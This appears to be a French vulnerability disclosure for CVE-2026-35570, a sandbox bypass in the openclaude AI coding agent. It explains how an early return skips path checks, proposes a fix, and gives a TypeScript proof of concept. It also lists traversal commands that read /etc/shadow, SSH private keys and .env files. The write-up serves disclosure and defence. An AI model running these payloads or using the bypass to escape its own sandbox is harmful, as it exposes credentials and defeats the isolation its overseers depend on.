rickidevs/cve-2026-35570# Analyse détaillée et preuve de concept pour CVE-2026-35570, un contournement de sandbox dans openclaude v0.1.7 permettant un chemin de traversée pour lire et écrire des fichiers arbitraires en dehors du sandbox.
CVE-2026-35570 | CVSS 8.4 (Élevé) | openclaude v0.1.7
Toutes les vulnérabilités ne nécessitent pas une chaîne d'exploitation sophistiquée. Parfois, une simple instruction return mal placée suffit à percer un trou béant dans votre modèle de sécurité. C'est exactement ce qu'est la CVE-2026-35570.
Cet article couvre un contournement de sandbox que j'ai trouvé dans openclaude v0.1.7 — un défaut logique qui laisse les charges utiles de path traversal passer directement à travers la couche d'isolation du système de fichiers sans jamais être vérifiées.
Je parcourais bashPermissions.ts quand quelque chose dans le flux de contrôle a attiré mon attention. La logique de permission semblait raisonnable à première vue — si nous sommes dans un sandbox, autoriser automatiquement la commande ; sinon, demander à l'utilisateur. Assez propre.
Mais une question me taraudait : où la vérification des contraintes de chemin a-t-elle réellement lieu ?
J'ai tracé bashToolHasPermission() de haut en bas et cartographié le chemin d'exécution :
bashToolHasPermission()
│
├─ [~1445] Bloc d'auto-autorisation du sandbox
│ └─ Aucune règle de refus trouvée → retour ALLOW ⚠️ Sortie anticipée
│
└─ [~1644] checkPathConstraints() ❌ Jamais atteint
Le bloc sandbox a été conçu pour ignorer les invites de permission interactives dans les environnements sandboxés. Tout à fait raisonnable. Le problème est que lorsqu'il retourne ALLOW, la fonction se termine immédiatement. checkPathConstraints() — la fonction réellement responsable de détecter le path traversal — ne s'exécute jamais.
À l'intérieur de bashToolHasPermission(), le bloc d'auto-autorisation du sandbox suit cette logique :
À ce stade, checkPathConstraints() est complètement contournée. Le filtre de path traversal n'a aucune chance de faire quoi que ce soit.
Du point de vue d'un attaquant, cela signifie que des commandes comme celles-ci passent directement :
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Toutes reviennent avec behavior: allow. Aucune invite. Aucun blocage. Rien.
Trois choses deviennent possibles lorsque ce défaut est présent :
Lectures de fichiers arbitraires. Tout ce qui se trouve en dehors des limites du sandbox est à portée — /etc/passwd, /etc/shadow, clés privées SSH, fichiers .env. Tant que les permissions au niveau du système d'exploitation le permettent, le fichier peut être lu.
Écritures de fichiers arbitraires. La même logique s'applique en sens inverse. Un attaquant peut écrire vers des chemins en dehors du sandbox, ce qui ouvre la porte à l'écrasement de fichiers de configuration ou au dépôt de contenu dans des emplacements inattendus.
Échec complet de l'isolation du sandbox. Tout l'intérêt du sandbox est de faire respecter les limites du système de fichiers. Avec ce bug présent, cette garantie ne signifie plus rien.
CVSS v3.1 : 8.4 (Élevé) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Le correctif est conceptuellement simple. Le bloc d'auto-autorisation du sandbox devrait supprimer les invites interactives — c'est tout. Il ne devrait jamais court-circuiter le pipeline complet de permissions.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Ne retourner tôt que pour deny ou ask — ne jamais sauter les vérifications de chemin sur allow
return sandboxResult;
}
// Si allow, continuer vers checkPathConstraints ci-dessous
}
// La vérification de path traversal doit toujours s'exécuter
return checkPathConstraints(input, appState.toolPermissionContext);
La règle d'or ici : l'auto-autorisation du sandbox saute l'invite, pas les vérifications de sécurité.
| Champ | Détail |
|---|---|
| Paquet | openclaude |
| Version affectée | v0.1.7 |
| Version corrigée | Aucune |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (Élevé) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Lancez openclaude avec les indicateurs sandbox et auto-autorisation activés :
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Les noms de variables peuvent légèrement différer. Vérifiez la classe
SandboxManagerpour confirmer les correspondances exactes des variables d'environnement pour votre build.
Enregistrez ce qui suit sous poc.ts à la racine du projet :
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Configurer les conditions du sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Charge utile avec path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Résultat :', result.behavior);
// Attendu : "deny" — le path traversal devrait être bloqué
// Réel : "allow" ← vulnérabilité confirmée
Puis exécutez-le :
npx ts-node poc.ts
Vous verrez :
Résultat : allow
checkPathConstraints() n'a jamais été appelée. Pour le confirmer vous-même, ajoutez une ligne de journal dans bashPermissions.ts :
// Vers la ligne 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints a été appelée'); // Cela ne s'affichera jamais
// ...
}
Exécutez à nouveau le script. Le journal n'apparaîtra pas — la fonction est réellement ignorée.
Ouvrez openclaude dans une session sandbox et soumettez la commande suivante :
cat ../../../../../etc/passwd
Elle s'exécute sans aucune invite de permission ni blocage, et affiche directement le contenu de /etc/passwd.
CVE-2026-35570